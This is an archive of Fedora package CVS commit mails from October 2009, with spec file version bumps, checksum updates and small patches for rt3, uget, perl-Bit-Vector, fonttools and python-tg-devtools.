diff -u -p -r1.7 -r1.8
--- .cvsignore	16 Jun 2009 12:28:42 -0000	1.7
+++ .cvsignore	2 Oct 2009 08:58:02 -0000	1.8
@@ -1 +1 @@
-rt-3.6.8.tar.gz
+rt-3.6.9.tar.gz


Index: rt3.spec
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/EL-5/rt3.spec,v
retrieving revision 1.26
retrieving revision 1.27
diff -u -p -r1.26 -r1.27
--- rt3.spec	16 Jun 2009 12:28:42 -0000	1.26
+++ rt3.spec	2 Oct 2009 08:58:02 -0000	1.27
@@ -12,7 +12,7 @@
 %define RT3_LOCALSTATEDIR	%{_localstatedir}/lib/rt3
 
 Name:		rt3
-Version:	3.6.8
+Version:	3.6.9
 Release:	1%{?dist}
 Summary:	Request tracker 3
 
@@ -280,6 +280,9 @@ fi
 %{_mandir}/man1/rt-mailgate*
 
 %changelog
+* Fri Oct 02 2009 Xavier Bachelot <xavier at bachelot.org> - 3.6.9-1
+- Update to 3.6.9 [SECURITY] (BZ #526872).
+
 * Tue Jun 16 2009 Xavier Bachelot <xavier at bachelot.org> - 3.6.8-1
 - Update to 3.6.8 (BZ #506236):
   - Updated italian translation from Nicola Murino.


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/rt3/EL-5/sources,v
retrieving revision 1.9
retrieving revision 1.10
diff -u -p -r1.9 -r1.10
--- sources	16 Jun 2009 12:28:42 -0000	1.9
+++ sources	2 Oct 2009 08:58:02 -0000	1.10
@@ -1 +1 @@
-d2233737a6fec3b990a0afeb121deb29  rt-3.6.8.tar.gz
+0426548efc55281f610d628cf56870f0  rt-3.6.9.tar.gz



From mtasaka at fedoraproject.org  Fri Oct  2 09:12:02 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri,  2 Oct 2009 09:12:02 +0000 (UTC)
Subject: rpms/uget/F-10 .cvsignore, 1.11, 1.12 sources, 1.11, 1.12 uget.spec,
	1.12, 1.13
Message-ID: <20091002091202.179E711C00C1@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/uget/F-10
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22218/F-10

Modified Files:
	.cvsignore sources uget.spec 
Log Message:
* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
- 1.5.0



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/uget/F-10/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Sep 2009 15:53:59 -0000	1.11
+++ .cvsignore	2 Oct 2009 09:12:01 -0000	1.12
@@ -1 +1 @@
-uget-1.4.9.3.tar.gz
+uget-1.5.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/uget/F-10/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Sep 2009 15:53:59 -0000	1.11
+++ sources	2 Oct 2009 09:12:01 -0000	1.12
@@ -1 +1 @@
-7cf609fd6307d09d57844f2d29a07226  uget-1.4.9.3.tar.gz
+abfb0b31fbcd5d821872d621e3619536  uget-1.5.0.tar.gz


Index: uget.spec
===================================================================
RCS file: /cvs/extras/rpms/uget/F-10/uget.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- uget.spec	2 Sep 2009 15:53:59 -0000	1.12
+++ uget.spec	2 Oct 2009 09:12:01 -0000	1.13
@@ -1,5 +1,5 @@
 Name:		uget
-Version:	1.4.9.3
+Version:	1.5.0
 Release:	1%{?dist}
 Summary:	Download manager using GTK+ and libcurl
 
@@ -74,11 +74,13 @@ exit 0
 %{_bindir}/%{name}-gtk
 
 %{_datadir}/applications/%{name}-gtk.desktop
-%{_datadir}/icons/hicolor/??x??/apps/%{name}-icon.png
-%{_datadir}/pixmaps/%{name}/
+%{_datadir}/icons/hicolor/*/apps/%{name}-icon.*
 %{_datadir}/sounds/%{name}/
 
 %changelog
+* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
+- 1.5.0
+
 * Thu Sep  3 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.4.9.3-1
 - 1.4.9.3
 



From mtasaka at fedoraproject.org  Fri Oct  2 09:12:02 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri,  2 Oct 2009 09:12:02 +0000 (UTC)
Subject: rpms/uget/F-12 .cvsignore, 1.11, 1.12 sources, 1.11, 1.12 uget.spec,
	1.14, 1.15
Message-ID: <20091002091202.874B511C00C1@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/uget/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22218/F-12

Modified Files:
	.cvsignore sources uget.spec 
Log Message:
* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
- 1.5.0



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/uget/F-12/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Sep 2009 15:53:59 -0000	1.11
+++ .cvsignore	2 Oct 2009 09:12:02 -0000	1.12
@@ -1 +1 @@
-uget-1.4.9.3.tar.gz
+uget-1.5.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/uget/F-12/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Sep 2009 15:53:59 -0000	1.11
+++ sources	2 Oct 2009 09:12:02 -0000	1.12
@@ -1 +1 @@
-7cf609fd6307d09d57844f2d29a07226  uget-1.4.9.3.tar.gz
+abfb0b31fbcd5d821872d621e3619536  uget-1.5.0.tar.gz


Index: uget.spec
===================================================================
RCS file: /cvs/extras/rpms/uget/F-12/uget.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- uget.spec	2 Sep 2009 15:53:59 -0000	1.14
+++ uget.spec	2 Oct 2009 09:12:02 -0000	1.15
@@ -1,5 +1,5 @@
 Name:		uget
-Version:	1.4.9.3
+Version:	1.5.0
 Release:	1%{?dist}
 Summary:	Download manager using GTK+ and libcurl
 
@@ -74,11 +74,13 @@ exit 0
 %{_bindir}/%{name}-gtk
 
 %{_datadir}/applications/%{name}-gtk.desktop
-%{_datadir}/icons/hicolor/??x??/apps/%{name}-icon.png
-%{_datadir}/pixmaps/%{name}/
+%{_datadir}/icons/hicolor/*/apps/%{name}-icon.*
 %{_datadir}/sounds/%{name}/
 
 %changelog
+* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
+- 1.5.0
+
 * Thu Sep  3 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.4.9.3-1
 - 1.4.9.3
 



From mtasaka at fedoraproject.org  Fri Oct  2 09:12:02 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri,  2 Oct 2009 09:12:02 +0000 (UTC)
Subject: rpms/uget/devel .cvsignore, 1.11, 1.12 sources, 1.11, 1.12 uget.spec,
	1.14, 1.15
Message-ID: <20091002091202.E6A1D11C00C1@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/uget/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22218/devel

Modified Files:
	.cvsignore sources uget.spec 
Log Message:
* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
- 1.5.0



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/uget/devel/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Sep 2009 15:53:59 -0000	1.11
+++ .cvsignore	2 Oct 2009 09:12:02 -0000	1.12
@@ -1 +1 @@
-uget-1.4.9.3.tar.gz
+uget-1.5.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/uget/devel/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Sep 2009 15:53:59 -0000	1.11
+++ sources	2 Oct 2009 09:12:02 -0000	1.12
@@ -1 +1 @@
-7cf609fd6307d09d57844f2d29a07226  uget-1.4.9.3.tar.gz
+abfb0b31fbcd5d821872d621e3619536  uget-1.5.0.tar.gz


Index: uget.spec
===================================================================
RCS file: /cvs/extras/rpms/uget/devel/uget.spec,v
retrieving revision 1.14
retrieving revision 1.15
diff -u -p -r1.14 -r1.15
--- uget.spec	2 Sep 2009 15:53:59 -0000	1.14
+++ uget.spec	2 Oct 2009 09:12:02 -0000	1.15
@@ -1,5 +1,5 @@
 Name:		uget
-Version:	1.4.9.3
+Version:	1.5.0
 Release:	1%{?dist}
 Summary:	Download manager using GTK+ and libcurl
 
@@ -74,11 +74,13 @@ exit 0
 %{_bindir}/%{name}-gtk
 
 %{_datadir}/applications/%{name}-gtk.desktop
-%{_datadir}/icons/hicolor/??x??/apps/%{name}-icon.png
-%{_datadir}/pixmaps/%{name}/
+%{_datadir}/icons/hicolor/*/apps/%{name}-icon.*
 %{_datadir}/sounds/%{name}/
 
 %changelog
+* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
+- 1.5.0
+
 * Thu Sep  3 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.4.9.3-1
 - 1.4.9.3
 



From mtasaka at fedoraproject.org  Fri Oct  2 09:12:02 2009
From: mtasaka at fedoraproject.org (Mamoru Tasaka)
Date: Fri,  2 Oct 2009 09:12:02 +0000 (UTC)
Subject: rpms/uget/F-11 .cvsignore, 1.11, 1.12 sources, 1.11, 1.12 uget.spec,
	1.12, 1.13
Message-ID: <20091002091202.3F6E611C01EA@cvs1.fedora.phx.redhat.com>

Author: mtasaka

Update of /cvs/extras/rpms/uget/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22218/F-11

Modified Files:
	.cvsignore sources uget.spec 
Log Message:
* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
- 1.5.0



Index: .cvsignore
===================================================================
RCS file: /cvs/extras/rpms/uget/F-11/.cvsignore,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- .cvsignore	2 Sep 2009 15:53:59 -0000	1.11
+++ .cvsignore	2 Oct 2009 09:12:02 -0000	1.12
@@ -1 +1 @@
-uget-1.4.9.3.tar.gz
+uget-1.5.0.tar.gz


Index: sources
===================================================================
RCS file: /cvs/extras/rpms/uget/F-11/sources,v
retrieving revision 1.11
retrieving revision 1.12
diff -u -p -r1.11 -r1.12
--- sources	2 Sep 2009 15:53:59 -0000	1.11
+++ sources	2 Oct 2009 09:12:02 -0000	1.12
@@ -1 +1 @@
-7cf609fd6307d09d57844f2d29a07226  uget-1.4.9.3.tar.gz
+abfb0b31fbcd5d821872d621e3619536  uget-1.5.0.tar.gz


Index: uget.spec
===================================================================
RCS file: /cvs/extras/rpms/uget/F-11/uget.spec,v
retrieving revision 1.12
retrieving revision 1.13
diff -u -p -r1.12 -r1.13
--- uget.spec	2 Sep 2009 15:53:59 -0000	1.12
+++ uget.spec	2 Oct 2009 09:12:02 -0000	1.13
@@ -1,5 +1,5 @@
 Name:		uget
-Version:	1.4.9.3
+Version:	1.5.0
 Release:	1%{?dist}
 Summary:	Download manager using GTK+ and libcurl
 
@@ -74,11 +74,13 @@ exit 0
 %{_bindir}/%{name}-gtk
 
 %{_datadir}/applications/%{name}-gtk.desktop
-%{_datadir}/icons/hicolor/??x??/apps/%{name}-icon.png
-%{_datadir}/pixmaps/%{name}/
+%{_datadir}/icons/hicolor/*/apps/%{name}-icon.*
 %{_datadir}/sounds/%{name}/
 
 %changelog
+* Fri Oct  2 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.5.0
+- 1.5.0
+
 * Thu Sep  3 2009 Mamoru Tasaka <mtasaka at ioa.s.u-tokyo.ac.jp> - 1.4.9.3-1
 - 1.4.9.3
 



From kasal at fedoraproject.org  Fri Oct  2 09:12:52 2009
From: kasal at fedoraproject.org (=?utf-8?b?xaB0xJtww6FuIEthc2Fs?=)
Date: Fri,  2 Oct 2009 09:12:52 +0000 (UTC)
Subject: rpms/perl-Bit-Vector/devel perl-Bit-Vector.spec,1.30,1.31
Message-ID: <20091002091252.7250111C00C1@cvs1.fedora.phx.redhat.com>

Author: kasal

Update of /cvs/extras/rpms/perl-Bit-Vector/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22558

Modified Files:
	perl-Bit-Vector.spec 
Log Message:
- fixed the license tag


Index: perl-Bit-Vector.spec
===================================================================
RCS file: /cvs/extras/rpms/perl-Bit-Vector/devel/perl-Bit-Vector.spec,v
retrieving revision 1.30
retrieving revision 1.31
diff -u -p -r1.30 -r1.31
--- perl-Bit-Vector.spec	1 Oct 2009 14:28:54 -0000	1.30
+++ perl-Bit-Vector.spec	2 Oct 2009 09:12:52 -0000	1.31
@@ -4,7 +4,8 @@ Release:        1%{?dist}
 Summary:        Efficient bit vector, set of integers and "big int" math library
 
 Group:          Development/Libraries
-License:        GPL+ or Artistic
+# Clarified by a private mail from the author:
+License:        (GPLv2+ or Artistic) and LGPLv2+
 URL:            http://search.cpan.org/dist/Bit-Vector/
 Source0:        http://www.cpan.org/authors/id/S/ST/STBEY/Bit-Vector-%{version}.tar.gz
 BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
@@ -69,6 +70,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct  2 2009 Stepan Kasal <skasal at redhat.com> - 7.1-2
+- fixed the license tag
+
 * Thu Oct  1 2009 Stepan Kasal <skasal at redhat.com> - 7.1-1
 - new upstream release
 



From caolanm at fedoraproject.org  Fri Oct  2 09:41:03 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri,  2 Oct 2009 09:41:03 +0000 (UTC)
Subject: rpms/fonttools/F-12 fonttools-as.patch, NONE, 1.1 fonttools.spec,
	1.18, 1.19 fonttools-uni5.patch, 1.1, NONE
Message-ID: <20091002094103.D86B511C00C1@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/fonttools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32514/F-12

Modified Files:
	fonttools.spec 
Added Files:
	fonttools-as.patch 
Removed Files:
	fonttools-uni5.patch 
Log Message:
Resolves: rhbz#525444 as is a reserved keyword in python

fonttools-as.patch:
 ttProgram.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE fonttools-as.patch ---
Index: Lib/fontTools/ttLib/tables/ttProgram.py
===================================================================
--- Lib/fontTools/ttLib/tables/ttProgram.py	(revision 562)
+++ Lib/fontTools/ttLib/tables/ttProgram.py	(revision 563)
@@ -394,7 +394,7 @@
 	
 	p = Program()
 	p.fromBytecode(bc)
-	as = p.getAssembly()
-	p.fromAssembly(as)
+	asm = p.getAssembly()
+	p.fromAssembly(asm)
 	print bc == p.getBytecode()
 


Index: fonttools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonttools/F-12/fonttools.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- fonttools.spec	24 Jul 2009 23:01:15 -0000	1.18
+++ fonttools.spec	2 Oct 2009 09:41:02 -0000	1.19
@@ -3,7 +3,7 @@
 
 Name:           fonttools
 Version:        2.2
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        A tool to convert True/OpenType fonts to XML and back
 
 Group:          Development/Tools
@@ -15,6 +15,8 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  python-devel numpy
 Requires:       numpy
 
+Patch0:         fonttools-as.patch
+
 Provides:       ttx = %{version}-%{release}
 
 %description
@@ -25,6 +27,7 @@ TrueType and OpenType fonts to an XML-ba
 
 %prep
 %setup -q
+%patch0 -p0 -b .as
 
 %{__sed} -i.nobang '1 d' Lib/fontTools/ttx.py
 %{__chmod} a-x LICENSE.txt
@@ -70,6 +73,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 02 2009 Caol?n McNamara <caolanm at redhat.com> - 2.2-7
+* Resolves: rhbz#525444 as is a reserved keyword in python
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- fonttools-uni5.patch DELETED ---



From caolanm at fedoraproject.org  Fri Oct  2 09:41:03 2009
From: caolanm at fedoraproject.org (Caolan McNamara)
Date: Fri,  2 Oct 2009 09:41:03 +0000 (UTC)
Subject: rpms/fonttools/devel fonttools-as.patch, NONE, 1.1 fonttools.spec, 
	1.18, 1.19 fonttools-uni5.patch, 1.1, NONE
Message-ID: <20091002094103.DB8AB11C01EA@cvs1.fedora.phx.redhat.com>

Author: caolanm

Update of /cvs/pkgs/rpms/fonttools/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv32514/devel

Modified Files:
	fonttools.spec 
Added Files:
	fonttools-as.patch 
Removed Files:
	fonttools-uni5.patch 
Log Message:
Resolves: rhbz#525444 as is a reserved keyword in python

fonttools-as.patch:
 ttProgram.py |    4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

--- NEW FILE fonttools-as.patch ---
Index: Lib/fontTools/ttLib/tables/ttProgram.py
===================================================================
--- Lib/fontTools/ttLib/tables/ttProgram.py	(revision 562)
+++ Lib/fontTools/ttLib/tables/ttProgram.py	(revision 563)
@@ -394,7 +394,7 @@
 	
 	p = Program()
 	p.fromBytecode(bc)
-	as = p.getAssembly()
-	p.fromAssembly(as)
+	asm = p.getAssembly()
+	p.fromAssembly(asm)
 	print bc == p.getBytecode()
 


Index: fonttools.spec
===================================================================
RCS file: /cvs/pkgs/rpms/fonttools/devel/fonttools.spec,v
retrieving revision 1.18
retrieving revision 1.19
diff -u -p -r1.18 -r1.19
--- fonttools.spec	24 Jul 2009 23:01:15 -0000	1.18
+++ fonttools.spec	2 Oct 2009 09:41:03 -0000	1.19
@@ -3,7 +3,7 @@
 
 Name:           fonttools
 Version:        2.2
-Release:        6%{?dist}
+Release:        7%{?dist}
 Summary:        A tool to convert True/OpenType fonts to XML and back
 
 Group:          Development/Tools
@@ -15,6 +15,8 @@ BuildRoot:      %{_tmppath}/%{name}-%{ve
 BuildRequires:  python-devel numpy
 Requires:       numpy
 
+Patch0:         fonttools-as.patch
+
 Provides:       ttx = %{version}-%{release}
 
 %description
@@ -25,6 +27,7 @@ TrueType and OpenType fonts to an XML-ba
 
 %prep
 %setup -q
+%patch0 -p0 -b .as
 
 %{__sed} -i.nobang '1 d' Lib/fontTools/ttx.py
 %{__chmod} a-x LICENSE.txt
@@ -70,6 +73,9 @@ rm -rf $RPM_BUILD_ROOT
 
 
 %changelog
+* Fri Oct 02 2009 Caol?n McNamara <caolanm at redhat.com> - 2.2-7
+* Resolves: rhbz#525444 as is a reserved keyword in python
+
 * Fri Jul 24 2009 Fedora Release Engineering <rel-eng at lists.fedoraproject.org> - 2.2-6
 - Rebuilt for https://fedoraproject.org/wiki/Fedora_12_Mass_Rebuild
 


--- fonttools-uni5.patch DELETED ---



From nphilipp at fedoraproject.org  Fri Oct  2 09:45:40 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Fri,  2 Oct 2009 09:45:40 +0000 (UTC)
Subject: rpms/python-tg-devtools/F-12 python-tg-devtools-sa05.patch, NONE,
	1.1 python-tg-devtools-test_admin.patch, NONE,
	1.1 python-tg-devtools.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091002094540.B0C8E11C00C1@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/python-tg-devtools/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1533

Modified Files:
	.cvsignore sources 
Added Files:
	python-tg-devtools-sa05.patch 
	python-tg-devtools-test_admin.patch python-tg-devtools.spec 
Log Message:
import from devel

python-tg-devtools-sa05.patch:
 test_pastetemplate.py |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE python-tg-devtools-sa05.patch ---
--- devtools/tests/test_pastetemplate.py.orig	2009-06-17 19:31:23.000000000 -0400
+++ devtools/tests/test_pastetemplate.py	2009-06-17 19:31:26.000000000 -0400
@@ -1,3 +1,6 @@
+__requires__ = ['SQLAlchemy>=0.5', 'sqlalchemy-migrate>=0.5.1']
+import pkg_resources
+
 from devtools.pastetemplate import TurboGearsTemplate
 import os, shutil, urllib
 import pkg_resources

python-tg-devtools-test_admin.patch:
 test_pastetemplate.py |    8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

--- NEW FILE python-tg-devtools-test_admin.patch ---
--- devtools/tests/test_pastetemplate.py.orig	2009-06-03 10:41:04.000000000 -0400
+++ devtools/tests/test_pastetemplate.py	2009-06-03 10:41:13.000000000 -0400
@@ -1,5 +1,5 @@
 from devtools.pastetemplate import TurboGearsTemplate
-import os, shutil
+import os, shutil, urllib
 import pkg_resources
 from paste.deploy import loadapp
 from webtest import TestApp
@@ -66,10 +66,8 @@
         assert '<div id="loginform">' in resp
 
     def test_admin(self):
-        resp = self.app.get('/admin/')
-        print resp
-        assert 'This is a fully-configurable administrative tool to help you administer your website.' in resp
-        assert '<li><a href="group/">Groups</a></li><li><a href="user/">Users</a></li><li><a href="permission/">Permissions</a></li>' in resp
+        resp = self.app.get('/admin/', status=302)
+        assert 'The current user must belong to the group \\"managers\\"' in urllib.unquote(resp.cookies_set['webflash'])
 
 #now we run the quickstarted project nosetests
 #FIXME, we need a better implementation


--- NEW FILE python-tg-devtools.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
%{!?pyver: %define pyver %(%{__python} -c "import sys ; print sys.version[:3]")}

Name:           python-tg-devtools
Version:        2.0.2
Release:        3%{?dist}
Summary:        Development tools and templates for TurboGears2

Group:          Development/Languages
License:        MIT
URL:            http://www.turbogears.org
Source0:        http://www.turbogears.org/2.0/downloads/current/tg.devtools-%{version}.tar.gz
Patch0:         %{name}-test_admin.patch
Patch1:         %{name}-sa05.patch
BuildRoot:      %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
BuildArch:      noarch

BuildRequires:  python-setuptools-devel python-nose python-coverage
BuildRequires:  python-repoze-tm2 python-turbokid python-turbojson
BuildRequires:  python-repoze-what-quickstart python-catwalk
BuildRequires:  python-zope-sqlalchemy

BuildRequires:  python-paste-script python-tempita python-webtest
BuildRequires:  python-repoze-who python-repoze-who-testutil
BuildRequires:  python-babel
BuildRequires:  TurboGears2

Requires:       TurboGears2
Requires:       python-repoze-what-quickstart >= 1.0
Requires:       python-repoze-who >= 1.0.10
Requires:       python-repoze-who-testutil
Requires:       python-catwalk

%if 0%{?fedora} <= 6
Requires:       python-sqlite2
BuildRequires:  python-sqlite2
BuildRequires:  python-hashlib
Requires:       python-hashlib
%endif

%if 0%{?fedora} > 10
Requires:       python-sqlalchemy
Requires:       python-migrate
BuildRequires:  python-migrate
%else
BuildRequires:  python-sqlalchemy0.5
BuildRequires:  python-migrate0.5
Requires:       python-sqlalchemy0.5
Requires:       python-migrate0.5
%endif

%description
This package contains various paster commands and templates used for
TurboGears2 development.


%prep
%setup -q -n tg.devtools-%{version}
%patch0 -p0 -b .test_admin
%patch1 -p0 -b .sqlalchemy


%build
%{__python} setup.py build


%install
rm -rf %{buildroot}
%{__python} setup.py install -O1 --skip-build --root %{buildroot}
# remove wrong script interpreter
sed -i '1s/^#!python//' %{buildroot}%{python_sitelib}/devtools/templates/turbogears/ez_setup/__init__.py


%check
PYTHONPATH=$(pwd) %{__python} devtools/tests/test_pastetemplate.py

%clean
rm -rf %{buildroot}


%files
%defattr(0644,root,root,0755)
%doc
%{python_sitelib}/devtools/
%{python_sitelib}/tg.devtools-%{version}-py%{pyver}.egg-info/



%changelog
* Thu Oct 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-3
- Apply patch from #468804 to fix version requirements

* Tue Sep 01 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-2
- Update SQLAlchemy0.5 patch
- Include both version of SQLAlchemy to get the test suite to run

* Wed Aug 12 2009 Luke Macken <lmacken at redhat.com> - 2.0.2-1
- 2.0.2

* Fri Jun 26 2009 Luke Macken <lmacken at redhat.com> - 2.0-9
- Update the sa05 patch to work with sqlalchemy-migrate 0.4 and 0.5

* Tue Jun 23 2009 Luke Macken <lmacken at redhat.com> - 2.0-8
- Hack around a setuptools bug to get the test suite to pass
  with both SQLAlchemy 0.4 and 0.5 installed in the same site-packages

* Wed Jun 17 2009 Luke Macken <lmacken at redhat.com> - 2.0-7
- Add a patch to get things working with SQLAlchemy 0.5

* Wed Jun 03 2009 Luke Macken <lmacken at redhat.com> - 2.0-6
- Add a patch to "fix" the test_pastetemplate.TestQuickStart.test_admin unit test
- Enable the test suite.

* Wed Jun 03 2009 Luke Macken <lmacken at redhat.com> - 2.0-5
- Add python-catwalk to the BuildRequires
- Require python-hashlib on FC6 and below.

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 2.0-4
- Conditionally require python-sqlite2

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 2.0-3
- Require python-catwalk

* Mon Jun 01 2009 Luke Macken <lmacken at redhat.com> - 2.0-2
- Require python-repoze-who-testutil

* Sun May 31 2009 Luke Macken <lmacken at redhat.com> - 2.0-1
- Update to 2.0 final
- Sync our requirements
- Remove the setuptools wsgiref patch
- Disable unit tests until Catwalk is packaged

* Tue Oct 28 2008 Luke Macken <lmacken at redhat.com> - 1.9.7-0.2.a4
- Swap out tg.ext.repoze.who for tgext.authorization

* Sun Oct 26 2008 Luke Macken <lmacken at redhat.com> - 1.9.7-0.1.a4
- Initial package


Index: .cvsignore
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/F-12/.cvsignore,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- .cvsignore	29 Sep 2009 19:54:28 -0000	1.1
+++ .cvsignore	2 Oct 2009 09:45:39 -0000	1.2
@@ -0,0 +1 @@
+tg.devtools-2.0.2.tar.gz


Index: sources
===================================================================
RCS file: /cvs/pkgs/rpms/python-tg-devtools/F-12/sources,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- sources	29 Sep 2009 19:54:28 -0000	1.1
+++ sources	2 Oct 2009 09:45:40 -0000	1.2
@@ -0,0 +1 @@
+0aa191ec9f98158f977a82ca841f93af  tg.devtools-2.0.2.tar.gz



From nphilipp at fedoraproject.org  Fri Oct  2 09:46:29 2009
From: nphilipp at fedoraproject.org (Nils Philippsen)
Date: Fri,  2 Oct 2009 09:46:29 +0000 (UTC)
Subject: rpms/python-tg-devtools/F-11 python-tg-devtools-sa05.patch, NONE,
	1.1 python-tg-devtools-test_admin.patch, NONE,
	1.1 python-tg-devtools.spec, NONE, 1.1 .cvsignore, 1.1,
	1.2 sources, 1.1, 1.2
Message-ID: <20091002094629.24E1611C00C1@cvs1.fedora.phx.redhat.com>

Author: nphilipp

Update of /cvs/pkgs/rpms/python-tg-devtools/F-11
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv1841

Modified Files:
	.cvsignore sources 
Added Files:
	python-tg-devtools-sa05.patch 
	python-tg-devtools-test_admin.patch python-tg-devtools.spec 
Log Message:
import from devel

python-tg-devtools-sa05.patch:
 test_pastetemplate.py |    3 +++
 1 file changed, 3 insertions(+)

--- NEW FILE python-tg-devtools-sa05.patch ---
--- devtools/tests/test_pastetemplate.py.orig	2009-06-17 19:31:23.000000000 -0400
+++ devtools/tests/test_pastetemplate.py	2009-06-17 19:31:26.000000000 -0400
@@ -1,3 +1,6 @@
+__requires__ = ['SQLAlchemy>=0.5', 'sqlalchemy-migrate>=0.5.1']
+import pkg_resources
+
 from devtools.pastetemplate import TurboGearsTemplate
 import os, shutil, urllib
 import pkg_resources

python-tg-devtools-test_admin.patch:
 test_pastetemplate.py |    8 +++-----
 1 file changed, 3 insertions(+), 5 deletions(-)

--- NEW FILE python-tg-devtools-test_admin.patch ---
--- devtools/tests/test_pastetemplate.py.orig	2009-06-03 10:41:04.000000000 -0400
+++ devtools/tests/test_pastetemplate.py	2009-06-03 10:41:13.000000000 -0400
@@ -1,5 +1,5 @@
 from devtools.pastetemplate import TurboGearsTemplate
-import os, shutil
+import os, shutil, urllib
 import pkg_resources
 from paste.deploy import loadapp
 from webtest import TestApp
@@ -66,10 +66,8 @@
         assert '<div id="loginform">' in resp
 
     def test_admin(self):
-        resp = self.app.get('/admin/')
-        print resp
-        assert 'This is a fully-configurable administrative tool to help you administer your website.' in resp
-        assert '<li><a href="group/">Groups</a></li><li><a href="user/">Users</a></li><li><a href="permission/">Permissions</a></li>' in resp
+        resp = self.app.get('/admin/', status=302)
+        assert 'The current user must belong to the group \\"managers\\"' in urllib.unquote(resp.cookies_set['webflash'])
 
 #now we run the quickstarted project nosetests
 #FIXME, we need a better implementation


--- NEW FILE python-tg-devtools.spec ---
%{!?python_sitelib: %define python_sitelib %(%{__python} -c "from distutils.sysconfig import get_python_lib; print get_python_lib()")}
